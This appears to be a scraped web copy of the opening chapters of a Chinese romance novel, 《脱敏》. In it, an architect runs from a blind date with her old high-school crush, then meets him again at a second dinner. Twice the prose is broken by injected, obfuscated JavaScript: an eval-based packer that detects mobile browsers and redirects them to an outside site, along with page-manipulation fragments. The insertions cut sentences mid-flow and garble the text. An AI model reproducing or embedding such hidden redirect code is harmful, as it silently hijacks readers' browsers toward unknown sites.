《脱敏》 1. 相亲 《脱敏》 文/十九梨 2025.5.1 . 喻星旋从没想过,这辈子第一次的相亲经历,最后竟然以她的落荒而逃狼狈收场。 甚至,连对方的面都没见上。 - 那是一个平凡无奇的周天,她到达相亲地点时,刚好十一点十五分。 马路对面,就是约定好的那家粤式酒楼的招牌。 女人未施粉黛,清瘦,皮肤白皙,挑不出一丝瑕疵。 似深冬的一株水仙,透着几分顾影自怜的清丽。 一双眼睛冷静通透,眼角微微下垂,看似无害,不带攻击性,却十足的冷淡不好接近。 眼下她站在路边,却迟迟没有过去的意思。把挎包重新往肩上背了背。 忽然,手机“叮”的一声,一条微信语音弹出来,联系人叫作黄蔓。 喻星旋长按语音转文字。 “小喻,你出发了吗?实在不好意思啊,我小外甥女早上吃坏了东西,现在得送她去医院打吊瓶,中午就不过去了,你跟男生先聊着。” 喻星旋看到这话,心情反而松快了不少。 黄蔓便是这次相亲的介绍人。 她本来就对这次相亲不情不愿,眼下介绍人有事来不了,她便也不需要顾忌长辈。随意吃顿中饭,就借口没眼缘把这事搪塞过去。 【没事的,您安心照顾她就好。小朋友现在怎么样了?】 估摸着对方正忙得焦头烂额,一时半会不会回复,喻星旋回完消息就收起手机,打算过马路。 而就在此刻,隔着不足十米的街道,她忽地被一个男人吸引了目光。 挺拔出众的身影走出马路对面的停车场,径直走向她目的地的那家餐厅。 他步伐略有些着急,像是赶着去见什么人。 没给喻星旋留下看清楚脸的机会。 只有抬手的那个动作,如同电影的慢镜头特效—— 男人抬起左臂看表,风衣袖口向下滑了几寸。 手表之下,戴着一串绕了三圈的小叶紫檀手串。 喻星旋心尖一抖,整个人霎时被钉在原地。 十一月,秋末,气温已经逼近零度,但快到正午时分,阳光依旧晃眼。 可是喻星旋已经分不清冷热。手脚冰凉,血液滚烫,浑身似有电流奔涌。 好不容易找回了些知觉,喻星旋大脑一片空白,迅速拦一辆最近的出租车。 司机问:“美女,去哪?” “……” 司机又催了一遍,依旧没得到回复。一扭头,就就看到喻星旋煞白的脸色。 司机被吓了一跳,小心翼翼地问:“你、你刚才是被人抢劫了?” “……当然没有。” 喻星旋此刻只想逃,却一时想不出往哪去,只知道奶奶家暂时是不能回的。 她十几分钟前才从家里出门,勉强地决定来参加这场奶奶催促她四五次的相亲。 哪里会想到,会在酒楼门外,遇到她最不想打照面的人。 心头经历了一番油煎火烤、天人交战,喻星旋最终还是没有勇气走进去确认。 她报出一个地址,让司机先把她送到发小家。 街边人来车往,出租车停下,又迅速开远。 一切看似归于平静。 酒楼大堂的玻璃门后,男人微垂下眼,收回望向马路对面的视线。 这位客人的确过于吸睛,哪怕只有一个背影,大堂的服务生都禁不住悄悄打量他好几眼。 男人身量很高,是宽肩窄腰的好身材,穿风衣像行走的衣架。 他似乎在等人,看得出为这次见面精心打理过,一身不显山不露水的贵气。 服务生们对视了一眼,一人走上前提醒他:“先生您好,请问有预订吗?” 男人缓缓转过身,面容矜贵,有种伴随年龄的稳重感,声线却透着年轻人的清冽:“抱歉,中午订的位置,麻烦先帮我取消吧。” “呃……好的。您贵姓?” “陈。” “方便说一下原因吗?” 陈嘉授瞥了眼空荡的马路对面,平静的语调,藏着惊天的暗涌:“另一个人不来了。” 服务生惊讶得不行,再次打量了面前的男人一遍。 不是吧,帅成这样还能被人放鸽子,这科学吗? 但随即又想到,这位客人进门短短的十几秒内,根本没人上前跟他说话,他也没看手机,怎么就知道另一个人不来了。 他实在是没忍住好奇:“冒昧地问下,您怎么知道?” 男人嗓音如同深不见底的冰冷湖水,一丝微颤,混合了懊恼、不解、不甘心等种种情绪。 “她刚刚跑了。” - 车上,喻星旋手指无意识地绕着挎包的链条。 眼下,她的心情既庆幸又懊恼。 如果时间拨回到昨天,她一定会在跟介绍人联系的时候,至少问清楚男方叫什么名字。 车窗外是长南市萧瑟的秋。 喻星旋记得,奶奶出院那会儿,这条街道还满是盛夏的绿意和热燥。 不过几个月,绿叶纷纷枯萎,飘落地面,被车轮无情碾碎。 其实,如果不是为了奶奶,喻星旋压根不想去相亲。 喻星旋爸爸去世得早,妈妈不在身边,后来人也不在了,只有奶奶从小照顾她长大。 但高中毕业后,她也未能留在她身边尽孝,而是选择了出国。 十年时间,她在宾夕法尼亚大学建筑系读完本硕,之后顺利拿到了a国一家全球排名top20的建筑设计公司的高薪offer。早早就成为了同龄人眼中的成功者。 但a国始终不是她的家。今年七月份,在知道奶奶做了乳腺癌手术后,喻星旋毫不犹豫地辞职回国。 喻星旋在国外读研时,导师是一位华人,跟京市建筑设计院的方院长有交情,给她写了封推荐信。 留美归来的高质量人才,京建院没有不要的道理。 京市离长南近,也方便了她随时回家陪奶奶。 在a国的十年间,奶奶从没过问她结婚的事,更别说催婚。 但或许是因为生了这场病,老人预感自己大限将至,唯一放心不下的,就是以后没人照顾她。 喻星旋从小到大没跟奶奶红过脸,却第一次因为相亲跟她产生严重的分歧。不久前,她才因为奶奶力劝她去见今天的男生,跟她闹了些不愉快。 直到昨天,她陪奶奶去人民医院复查。 被医生正式告知,病人的生存期,只剩六个月到两年。 或许是从那一刻起,她发现跟奶奶在一起的时间,早已开启了倒计时。 想着尽量让她高兴一次,喻星旋才终于松了口,决定见一见奶奶说的人。 长南这边相亲有个传统,第一次见面,要有一个经验丰富的媒人牵线。 这位媒人名叫黄蔓。当年她在长南中学读高中,黄蔓是六班的物理老师,坐她班主任的对桌。 当年她抓早恋抓得比教导主任都勤快,辣手拆散过无数对青春躁动的小情侣。 也不知哪根筋搭错,退休后倒反天罡,给人拉起了红线。 仿佛是怕自己再反悔,喻星旋没有跟任何人提过这事,当时就添加了黄蔓的微信。 按道理说,相亲见面前,总要走一个互相了解对方情况的流程。 但喻星旋对即将跟她见面的这位仁兄完全不感兴趣,借口说“您介绍的人肯定信得过”,连对方的名字都没问,速战速决地约好了时间地点。 头脑渐渐冷却,她蓦地想到一个问题—— 万一是她看错了呢。 如果跟她相亲的,其实不是她想的那个人。 她岂不是放了人家鸽子? 她立刻翻出手机,打电话跟黄蔓解释。 但彩铃响了很久,还是打不通。 喻星旋头痛地捏了捏太阳穴,后背出了一层汗。 ……她别是加班加出幻觉。 人怎么能捅这么大篓子? “到了姑娘,下车吧。” 喻星旋手握住车把,理智慢慢回神。 可万一……就是他呢? 喻星旋心下重新打起了鼓。 她觉得,今天弄不明白这个问题,午饭都要吃不下了。 祝媛是长南广播电台晚间档的主播,半夜才回到家补觉,半梦半醒地被喻星旋一个电话喊起来,心情还不爽着:“喻星旋!你最好有要紧事找我!” 喻星旋看了她一眼,有些欲言又止。 “确实是要紧的事。刚才我去跟人相亲,介绍人还是高一你们班的班主任。” “……” 祝媛正烧水泡泡面,惊讶得叉子掉在桌上:“我靠,这世道真的变了,你喻星旋居然也能答应去相亲!?” 作为喻星旋的 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或许是喻星旋追问的姿态太急切,祝媛狐疑地看了她一眼,这才解释:“照他当年那个话题度,他今天结婚,明天全世界就传得沸沸扬扬了,我怎么可能一点风声都听不到?” 喻星旋好像更紧张了,却又不由自主地松了口气。 想起黄蔓曾在闲聊中跟她透露过,男方如今在京市工作,她复又问:“那,他现在在哪工作?” “之前聚餐听同学说,陈嘉授在跟一个大佬搞空间站开发,现在八成在大西北搬砖吧。” 喻星旋头顶像被一道惊天巨雷劈中。 她真的草木皆兵,认错了人! 喻星旋良心难安,再次摸出手机,试图跟黄蔓解释一下,也告诉对方今天不要再等她。 但一连两个电话都没打通。 “你今天怎么这么奇怪,忽然找我问陈嘉授,对了,你高中是不是还喜欢他来着。” 祝媛吃了几口泡面,福至心灵地一拍桌子,“我靠,你今天那个相亲对象不会就是陈嘉授吧!” 手机如同一潭死水,喻星旋不再对它寄以希望,思考着以后再找个时间跟黄老师上门赔罪。 她长话短说,对祝媛讲述了整个事情的来龙去脉。 祝媛刚要发表一些评价,喻星旋放在桌面上的手机铃声响起,来电人居然是黄蔓。 喻星旋看清来电显示,像是面对甲方的夺命连环call,硬着头皮按下接听键:“黄老师,实在对不……” “太不好意思了小喻,你看这事闹的。” 喻星旋不敢相信自己的耳朵,听筒里黄蔓的声音居然带着……歉意? 她应该还在医院,背景音嘈杂:“刚才一直忙着照顾孩子,我才看到男生那边的电话。他们家今天中午临时有事,中午相亲来不了了。” “……”她说的,怎么这么像自己准备好的词啊?喻星旋内心的疑惑接二连三地往外冒,用惋惜的语气说,“那太不巧了,老师。” 黄蔓:“谁说不是呢!他十一点半就给我打了电话,但我手机放家里了,现在才看见……对不住了小喻,你没久等吧?” 喻星旋悬着的心放下,连声说没有没有。 毕竟算下来,她临场跑路,比人家直接不来,还不礼貌得多。 放下电话,喻星旋彻底放了心。 对祝媛摇了摇头:“不是他。跟我相亲的那个男生,今天没去。” 祝媛刚才也是这么想的:“我就说嘛,世上哪有这么巧的事。就算那个人真是陈嘉授,没准人家碰巧就是回长南看爸妈,在那吃午饭呢?” 喻星旋嗯了声,却并没有几分解脱的高兴。 黄蔓刚才说,男生那边表示很抱歉。希望能有始有终,至少也应该见个面表示礼节。 也就是有空再见一面。 她犹豫了一下,答应了。 祝媛是为数不多知道她暗恋过陈嘉授的人,满脸八卦地捅捅她:“怎么,闪闪,不是他你很失望?” 喻星旋很轻地笑了一下:“那倒也没有。” 十年不见,陈嘉授的样貌在她记忆里早已模糊。 她只能记得他的某些标志性的癖好,比如他左手手腕上,总是同时戴着一串手串和一块表。 思绪游荡间,喻星旋一抬眼,祝媛坐在餐桌对面,探究地托着下巴: “所以,你们当年到底怎么回事啊。” 2. 是我 . 大概是跟性格有关。 喻星旋从小就觉得,她是一个对情感敏感而冷漠的人。 敏感,所以知道什么能刺伤对方,一击致命。 冷漠,是她暗恋陈嘉授,享受在背后默默地观望他,却并不想为这份心动付出什么。 也并不觉得,心意是要被好好珍视的。 甚至,她可以为了维护自尊,把喜欢的人贬得一文不名。 在讨厌的人挑衅她时,把最难听的字眼尽数放在她暗恋的人身上。 她把陈嘉授当做武器,获得了完全的胜利,欣赏着对方的哑口无言。 而下一秒抬眼,就看到不远处玻璃门外,少年漠然站立的身影。 …… 那是个炎夏,也是她最后一次见到陈嘉授。 她猜他应该恨透了她。最傲慢清高的人,面子被人摘下来按在地上摩擦,足以看作人生一大耻辱。 将心比心,如果她是陈嘉授,除非脑子坏了,自取其辱,否则想也不可能答应跟她见面。 再加上,陈嘉授家跟她家,完全是两个世界。 高中时在学校念书就已经隐隐约约感觉到,现下入了社会,阶级差只会进一步拉大。 从前她就听人说,陈嘉授的太姥爷,是建国之初,参与自主研发第一枚原子弹和第一枚导弹项目的总工程师。 书香清流门第,一家出了不少功勋。 而据奶奶说,她是住院期间才认识黄蔓,黄蔓极力为她推荐了一位男生,说条件绝对优质,喻星旋肯定满意。 但陈嘉授的门第,压根不需要黄蔓为他介绍对象。 那天喻星旋在祝媛家中待到很晚,晚上回奶奶家吃了晚饭,就坐高铁回京市的家。 到家已经深夜,喻星旋明天还要上班,收拾东西去洗手间洗澡。 水珠顺着鼻尖和下巴淌下,她抬眼看着镜子里的自己。 大约是继承了爸妈的全部优点,喻星旋的骨相生得极好,五官精致清晰,明眸皓齿,下巴微翘鼻梁秀挺,鼻尖缀着一颗小痣。 她的睫毛很长,但不算浓密,像把小刷子,根根向下,不做表情时上睑习惯性地垂下,让她的眼神时常看起来极为疏离,有种厌世感,难以接近。 想起中午出门相亲时,她跟现在一样,连妆都没化,涂了个口红就出门了。 都说第一次见面要给对方留个好印象,但她不想有意创造让对方想要跟她进一步发展的可能。 比起不喜欢的人对她有好感,她宁愿对方对她初印象不好。 原以为自己不会在意这个乌龙事件太久。 但这天晚上,喻星旋却忽然失眠了。 凌晨两点,她毫无睡意地从床上翻身坐起,按亮台灯,开始翻箱倒柜地找东西。 在京市租了自己的小家后,喻星旋从长南老家她的房间里,带来了一些学生时代用过的东西。 她翻箱倒柜,找出了一本高一的教辅书。 翻页手感滞涩,明显是书里夹着东西。 翻开第229页,一张照片也随之掉落。 照片是夜色下的操场。 也是借着夜色的掩映,镜头堂而皇之地对准一个男生的侧影。 男生穿着黑T,身形挺拔干净,衣摆袖口连同黑发被夏风吹拂,似乎能看到风的轮廓。 由于拍摄地点在他的左侧后方,面容不甚清晰。只一截冷白且线条分明的下颌线,似在低头调试什么设备。 他双手操纵着一台方盒样的控制器,左手手腕上,一块运动手表和一串绕了三绕的手串,仿佛是被拍摄人特意强调过。 这张照片,出自高一那年,她自己的手笔。 如果喻星旋没记错,照片上的人的生日,就是2月29这个特殊的日期。 少女情怀总是诗,只可惜,仅凭一张近似偷拍的照片,她还是想不起陈嘉授曾经的样子。 像他这样的人,有着从一出生就规划清晰的人生,家中资源加上自身的过人天赋,未来在他眼前,是一目了然的康庄大道。 工作、升学、荣誉,每一步都走在社会和周边人们对他的期待里。 他的婚事,大概也不例外。 他未来的妻子,或许是联姻的某集团千金,或许是自小认识的青梅竹马,但无论如何都是门当户对。 胸腔里像堵了一团棉花。喻星旋随便把照片夹回某一页,重重合上,连同其他的课本一起,尽数塞了回去。 - 一晃到了下周日晚上。 是跟相亲男生约定第二次见面的时间。 地点选在了在喻星旋家附近的一家私厨西餐厅,因为不在长南,介绍人便没有到场。 喻星旋这次还是没有跟他互加联系方式,所有的沟通都通过介绍人进行。 反正只是去走个过场而已,没必要表现得太热络。 她也不知道这个男生是真有礼貌还是读不懂空气,一次没见面,居然还想约她第二次。 她还以为她的态度,就足够让某些男生知难而退的。 喻星旋从长南回家,放下行李,时间就不早了。她扎起两天没洗的头发,还是没化妆,素着一张脸来到约定见面的地方。 报出座号,侍者在前面引路,带她去提前订好的隔间:“请这边走,您的同伴已经到了。” 隔间的座位上已经坐了个男人,在背对着她翻看菜单。 暮色透过方窗,一道分明的界限,落在那人宽阔笔直的肩线上。 …… 喻星旋险些忘记了呼吸,双脚定钉在原地。 “女士。”侍者奇怪地提醒她,“您怎么了?” 喻星旋忍住越来越强烈的晕眩,抓住侍者的手臂,像抓住一根救命稻草,快速地压低声音问:“店里有没有洗手间?” “在那儿,我带您过去?” 喻星旋逃一样地走向洗手间,心跳快得要从喉咙里蹦出来:“不用了,谢谢你。” 女厕此时空无一人,喻星旋稍微镇定了下。 是他。 真的是他。 就算已经十年没见,她也可以确定,她的相亲对象就是陈嘉授。 谁叫她最擅长辨认的就是他的背影。 可上次他不是没去吗? 那她在长南的餐厅门口看到的人又是谁。 以及,陈嘉授又知不知道,待会儿要跟他坐在一张桌子上共进晚餐的人是她? 喻星旋又开始头痛起来。 看到镜子中自己略差的气色和明显的黑眼圈,喻星旋从身上的包里翻出了一盒气垫粉饼,慢吞吞地往脸上拍,又摸出管口红,薄薄地涂了一层。 简单地化了个妆,喻星旋已经完全镇定下来。她在镜子前整理了下头发,抬步向外走。 不管上次匆匆一瞥的人是不是他,这次都必须要面对,不能再逃避。 十年的时间,她应该早就对他脱敏了。 她要做的,就只是把他当做一位十年未见的普通同学,礼貌客气地吃完这顿晚餐。 至于其他,一概不要想。 挎包里传来手机的提示音,喻星旋一边走一边低头翻包找手机,没留意身前撞上一人。 “不好意思。” 喻星旋下意识道歉,一抬眼,撞进一双漆黑深邃的眼眸中。 刚才还好好坐在隔间里的人,忽地出现在她面前。 她脚步顿住。 在那一瞬间,她也终于想起了,记忆中已经模糊的,陈嘉授高中时候的模样—— 五官偏清隽,冷白肤色,薄而锋利的内双,而下巴平直的线条又让他多了几分成熟坚毅的味道。身形削薄挺拔,千篇一律的高中校服被他衬得矜贵而端正。 随后,喻星旋才留意起面前男人的相貌。 不必再依靠一块表和一串手串,现下站在她面前的,的的确确是陈嘉授。 褪去了少年青涩的、比当年成熟得多的陈嘉授。 “是你?”喻星旋反应得很快,露出一个骤然认出老同学的惊讶神情,“这么巧,你也在这儿吃饭?” “是挺巧的。” 两人视线无声交接,喻星旋试图从他眼中辨认某些情绪,却什么都没看出来。 他仿佛当她是陌生人。 喻星旋收起一瞬间的失落,礼貌疏离地对他点点头,打算从他身边过去。 下一秒去路就被拦住:“去哪?” 喻星旋避开他如有实质的视线,冲他晃晃手机:“我约了人,先失陪了。” 陈嘉授没半点让开的意思:“跟谁?” 压迫感很强的问句。她以前就很讨厌陈嘉授不由自主流露出来的强势。她心头止不住地微颤,却仍旧淡定道:“还没见过,要等见面了才知道。” 就算知道要见的人是他,她也只能装傻。 好在演技还算过关。 陈嘉授漆黑眉峰微扬:“所以你是真的不知道?” 他的下一句,低冽带着笑的嗓音,再次跟她记忆中的声线重合。 “你今天要见的人,是我。” 他的话落下的同时,喻星旋也在极短的时间内做出反应。 她抢在陈嘉授有所动作前,率先对他伸出右手:“好久不见了,幸会。” “……” 先发制人果然有用,喻星旋如愿在他脸上看到了一丝没反应过来的惊讶。 她还是丝毫不让自己落下风的做派。 视野中,那只属于女人的手雪白而纤细,骨骼如竹节,白到血管都发蓝,陈嘉授伸手握住,潮湿冰冷的触感传来。 喻星旋被他烫了一下,下意识往外抽手。 他看似松松地握住,但怎么都抽不出来。 喻星旋起了较劲的念头,索性紧紧地反握住他的掌骨。 上下摇动,像是出于礼节,顺理成章跟他进行了一次见面时的握手。 不服输的意味明显。 喻星旋挑衅地抬眼,撞进他深不见底的眼睛。 下一秒,桎梏着她的力度松开。 “喻星旋,确定要站在这里叙旧?” 取得暂时性胜利,喻星旋见好就收:“那就麻烦你带一下路吧。” 高大挺拔的背影走在前面,像是一种条件反射,喻星旋的脚步放慢了。 这场景在她记忆中出现过无数次,这头是西餐厅的通道,那头,却是课间十分钟喧闹的走廊。时间场景全然不同,不变的只有她和他。 以及此时,她几乎要跟当年重合的,逐渐将她淹没的心跳。 … “喂。” 模糊地听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陈嘉授问她点了什么,似乎懒得再翻菜单:“跟她一样。” 侍者一离开,等待上菜的过程再度变得难熬。 无聊到喻星旋望着陈嘉授的肩膀以下,思绪又开始飘远。 不知过了多久,对面似乎主动找了个话题:“你就没有什么话想说?” 喻星旋一直想着在长南餐厅外看到的很像陈嘉授的人,眼下看到他本人,她越发怀疑是自己眼花。 毕竟,她所了解的陈嘉授,虽然表面随和,能跟所有人打成一片,但他骨子里仍旧是高傲的,傲而不凌下只是因为有足够的底气。 如果他真的赴约却被人放了鸽子,他绝不可能再主动要求第二次见面。 她斟酌了一下,小心开口:“听黄老师说,上周天中午你临时有事?” “是我家里有事。”陈嘉授端起水杯,“我那天临时爽约,喻工久等了吧。” 喻星旋含着一口柠檬水,差点呛一口:“你叫我什么?” “抱歉,叫顺口了。”是跟他高中时期一样,听不出什么诚意的道歉,“听说你是建筑设计师。不习惯这称呼?” “没有,只是周末被人这么叫,感觉自己还在加班。” 做乙方的,不掌握些随时随地开启话题的社交技能很难立足。就比如此刻,话匣子一打开,许多对陈嘉授现状的好奇就接二连三地冒出来。 喻星旋想起那天祝媛说他正在西北搬砖:“那你呢,你现在做什么工作?” “火箭院,前几年一直在西北的卫星发射中心,今年才被调回京市。” 喻星旋点点头表示了解。 她是建筑设计师。他是航天工程师,跟她……应该也算是半个,或者四分之一个同行。 至于她刚才反应这么大,不是因为别的,只是觉得意外。 在工作里,比起甲方挂在嘴边的“美女”“小姐姐”,她更喜欢听到别人用职业称呼她。 难不成,他也在把这次相亲当做工作? 喻星旋不再想他对于这次见面的态度,继续说回到刚才的话题,说出她早就编好的说辞:“其实那天我到了餐厅,但我朋友那边出了点事,要我一定过去一趟,情况比较紧急,所以就先走了。” 喻星旋笑了笑:“还以为我把你鸽了,良心不安了好久。” “是吗。” 喻星旋迎上他的目光,努力证明自己并不心虚:“嗯。” 陈嘉授的眉眼颜色是偏浓的深黑,眼窝比年少时更加深邃,直勾勾地盯着一个人看时,莫名多了些威慑。 下一秒,他缓缓开口,好像带了点遗憾似的:“喻工走之前,怎么也不跟黄老师说一声。万一我不是爽约,只是迟到几分钟呢?” 喻星旋眼皮一颤。好像在被对方牵着鼻子走,却又没有证据。 “都说了是情况比较紧急,我知道我们有约在先,所以后来我也联系了黄老师,希望给你们赔礼道歉。” 不知注意力被什么吸引,陈嘉授像是有些失神。 “而且,”她试图提醒他,“真实的情况是,如果我朋友没叫我,我那天相当于被你放鸽……” “你知道我们有约在先?”他忽然打断她。 3. 好久不见 . 喻星旋喉间一哽,心跳快得忽然有些丧失频率。 勉强抬起眼,却正对上陈嘉授有些戏谑的眼神:“不然我还以为,是喻工看到哪个不想看见的人了。” 喻星旋自知理亏,露出一个温和无害的笑,心底忽然涌起一点失落。 有那么一瞬间,她真的以为,陈嘉授会提起以前。 …… 这顿晚饭吃得没什么滋味。 陈嘉授大概也对她兴趣不大,明明是来相亲,却从始至终都没有介绍自己情况的意思。 剩余的时间,两人在相对沉默中,解决着各自面前的食物。 然而不巧的是,接近尾声的时候,窗外下起了雨。 窗户靠近喻星旋的一侧,凉风夹杂着雨丝飘进来。喻星旋感觉有些冷,刚要站起来关窗,陈嘉授就先她一步走过去关上。 “谢谢。” 喻星旋道了句谢,却听到他问:“雨下得不小,你过会儿怎么回?” 冷漠而寡淡,语调听不出起伏。 加上此前,他不冷不热的表现,差点把她绕进去的聊天,哪一点都不像是想跟她继续发展下去的样子。 如果说一点都不失落,也是不可能的。 但他应该确实不想再见到她。 不然也不至于,三年高中同学十年没见,他连一点高中时的事都没有提起,也对她在a国的十年没表现出任何好奇。 但她也做不到对他示弱,主动提出让陈嘉授送她的要求。 “我家就在这附近,不算太远,我打车就可以。” 陈嘉授顿了下下巴,没再表态。叫来侍者买单,再没提过她怎样回家的话题。 也没有一句多余的客套。 这就相当于明示的拒绝了。 喻星旋先前也听过一些关于相亲的不成文的规矩。 与其等回家后,黄老师委婉地转告她“陈嘉授没看上你”,不如她现在就抢先一步通知他。 至少,主动权要掌握在她自己手中。 这样想着,喻星旋在打车软件上叫了一辆网约车,穿戴整齐后,到前台借伞。 她的运气不错,店里的最后一把伞恰好被她借走。 店外,雨势已经大到把人困在门廊下。喻星旋专心盯着手机上显示的网约车实时位置,一抬头,陈嘉授居然还站在廊下没走。 大约是没带伞,又不想淋雨,更不愿意暂时放下身段,问能不能跟她共用。 她故意站过去一些,目视前方说:“你手机号码,给我一下。” 可能是大雨把她的声音模糊,陈嘉授侧过身体,微微弯腰问她:“……什么?” “手机号。” 喻星旋一边把他报出的数字输入备忘录,一边问:“支付宝是同号吗?” 迟迟没听到陈嘉授的声音,喻星旋却也克制着不看他:“今天的账单回去之后我转给你一半。你不用担心,黄老师那边我去说。” 雨幕在地上积水里砸出密集不断的水坑,远处网约车的车灯扫过来。 喻星旋撑开伞,一刻都没犹豫地走向车门。 地上积水太深,漫上脚背,裤脚霎时被溅湿。 下一秒,一股力道忽然从身边袭来。 他身上的松木香铺天盖地地席卷,喻星旋手里一空,伞柄被人夺了过去。 喻星旋怔怔地望着他。 雨珠从伞面滚落,砸在二人脚边。他全身都被淋湿,雨珠顺着他英挺的鼻梁滑落,如墨的眉眼漆黑如洗。 这些年在西北的磨砺,让他脸上多了恰到好处的棱角,他好像更沉稳了,同时也更陌生。 可不管怎样,都保留着当初英俊又难掩锋芒的少年模样。 也就是那一点可有可无的留恋,让她没有再想着挣脱开。 喻星旋听到他沉沉地开口:“我送你。” - 陈嘉授车上没有毛巾,他递了包抽纸过来,喻星旋摘下手表,低头默默地擦着自己身上的水。 气氛莫名有些尴尬。 “谢……” “为什么出来相亲?” 两道声音几乎同时响起。 一滴雨水顺着喻星旋的眼皮滴下来,她又抽了张纸去擦:“我不着急结婚,但家里的老人催得紧。” “奶奶身体不太好,时候可能不多了。” 雨天汽车行驶缓慢,在十字路口等红灯时,陈嘉授的右手食指有节奏地敲着方向盘。 喻星旋冷不防地听见他问:“你是希望老人家离开世上的时候,能没有遗憾?” “是啊。”喻星旋坐在副驾,盯着窗外,“她是我在这个世界上最亲的人。” “那你后面还有别的打算吗。” “什么打算?” “再去相下一个人。” 喻星旋有些诧异地看了他一眼,感觉这么有失边界感的问题不是他的风格:“短时间内还是算了,我工作很忙。” “如果非要找人结婚,那你……”汽车没启动起来,直接熄了火,后面此起彼伏的喇叭声响起。 陈嘉授重新启动挂挡,右手食指无意识地轻颤,“还不如找我。” “……” 他在开什么玩笑。 明明一开始就没看上她。 至于他不久前忽然提出送她回家的举动,喻星旋没觉得是他改变了主意,只当他是良心发现。 或者,纯粹就是想用她的伞,又不便明说。 喻星旋皱眉,目光缓缓打量他:“你认真的?” “算是。” 车子拐了个弯,又开过一道减震带,不明显地颠簸,陈嘉授漫不经心的声音也因此显得不那么平稳:“我也有催婚的亲戚要应付。” 也就是说,只是刚好相到这儿来,或许不止是她,谁都可以。 甚至,她大概也不是他相亲的头一个人选。 而且,他的态度实在过于随意了。好像只是在某个平静的一天,平静地随口提出一个建议。甚至连建议都不算,不主动不拒绝,等待别人先开口,然后居高临下地指出对方的自不量力。 她明明知道陈嘉授是什么样的人。 喻星旋忽然不再言语。 … 到了小区门口,陈嘉授降下车窗跟门卫打了声招呼,又开到她楼下。 喻星旋拿上餐厅的伞,深吸一口气:“伞明天我拿去店里还。你家应该有车库吧?” 很淡的一声“嗯”。 喻星旋的手握上车把,也不知为何眼前的车门显得有些沉重,她拉了两次,车门才弹开。 她背对着他,尽量让自己语气轻松:“好,那伞我就不借你了。” “喻星旋。”陈嘉授忽然叫她名字。 她身体还朝着外面,却一动没动。 “……” “不加个微信?”他说。 回国后,喻星旋换了新的手机号。而陈嘉授的微信,许多年前就被她以前注册的微信拉黑了。 而陈嘉授像是从来不知道自己被她拉黑过。 看来这么多年,他确实没有试图联系过她,连节日问候都没带上她。似乎也默认她换了号码。 喻星旋低头输入备注,把手机放回包里:“再见,回去路上小心。” 她想,以后她大概也不会再跟陈嘉授以这样的身份见面了。 “今晚早点休息。” 喻星旋点点头,打开车门,又想起什么似的:“那个,今天谢谢你送我。” 她走进单元楼,副驾的的车窗在她身后缓缓降到底。 “喻星旋。” 不知道是不是她的错觉,在车载广播隐约透出的粤语情歌里,陈嘉授的声音显得格外缱绻: “好久不见。” - 回到家,喻星旋一路上强撑的什么东西像是忽然被抽空了。只剩做梦一般的虚幻和不真实,后知后觉地袭来。 她靠着门板,盯着天花板上的一点,也不知道自己在想什么。 来到京市后,她收养了小区楼下一只流浪狗,给它起名叫布丁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818975|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她每天回家,布丁都会撒着欢地欢迎她。但今天,不管它是汪汪大叫,还是站起来往她身上扑,咬着玩具往她手心里拱,全都没引起她的注意。 这次相亲,倒也不能说全是坏的。 虽然没谈起高中,但她也没泄露任何关于她暗恋陈嘉授的证据。 除了这个,也算是合理化了自己第一次爽约的事。 喻星旋脱下湿透的鞋子拿去晾,拿起手机,祝媛半小时前才发了条开工的朋友圈,她一时也想不起还能找谁说。发了会呆,只能收拾好换洗衣服,拖着满身疲惫去浴室洗澡。 脱衣服时,喻星旋忽然发现手腕空空如也,懊恼地拍了下额头。 今晚她坐上陈嘉授的车后,擦手腕上的水,顺手就把手表摘下来放在他车的仪表台上。 喻星旋正打算跟他说一声,但打开空荡荡的聊天框,却又迟疑了。 她忽然想起,上次拉黑他是什么时候。 不是高中毕业。 是出国之后,她听说他谈了新的女朋友的当天晚上。那天之后她再也不打算给自己机会了。 后来她没有再刻意打听,也没再听人说过他们的后续。 或许也是一场轰轰烈烈的校园恋爱,之后随着毕业和现实,无疾而终地在人海中走散。 既然如此,当初为什么还要开始呢? 脑海中充斥着这个疑问,喻星旋模模糊糊地陷入梦中。 - 之后的一个星期,部门工作骤然忙碌,好几个大单压在头上,给人充足的逃避理由。 偶尔想起见面那天,只觉得恍如一梦。 对他那句“还不如找我”,喻星旋当时就没抱多大期望,拖着拖着,希望更是磨得只剩下碎片。 反正她最擅长的就是不联系。她是想交给时间解决,慢慢把这事拖黄。 逃避有用也不可耻。有了这个准备,在真正面对那一天时,至少自己心里也能好过一点。 而这一个星期陈嘉授更是完全没联系过她。不管他是把她的手表扔掉,还是完全想不起是谁的,基本都代表他们已经没戏了。 而喻星旋居然对此接受良好。 又一个周一来临,喻星旋所在的现代建筑设计部的每周例会结束。 部长李杰对喻星旋的业务能力赞赏有加,几乎没有她搞不定的甲方。 上次有一位友铭集团的周总极难对付,在会客室拍着桌子骂人,但喻星旋与他沟通过后,项目进展奇迹般地变得极为顺利。 李杰认为,喻星旋之所以能解决难缠的客户,就是因为她储备丰富,加上对设计理念的一针见血。因此他特别要求,以后每周例会轮流进行一次案例分享,并且每人都要上交对于设计理念的心得感悟。 回到各自工位上,同事阿敏问喻星旋:“刚才的国内外优秀建筑案例分享你拍照没?我有张关键的没拍下来。” “哪一张?” “我也说不清楚,我能自己找吗?” 想到相册里没有什么秘密,阿敏也不是会乱翻的人,喻星旋把手机递过去。 阿敏很快找到那张图片:“就是这张,你过会发给我?” 喻星旋接过自己的手机:“好。” “对了。”见喻星旋给她转发过去就将手机息屏,阿敏提醒了句,“刚刚有人给你发微信。” “应该是工作消息。” 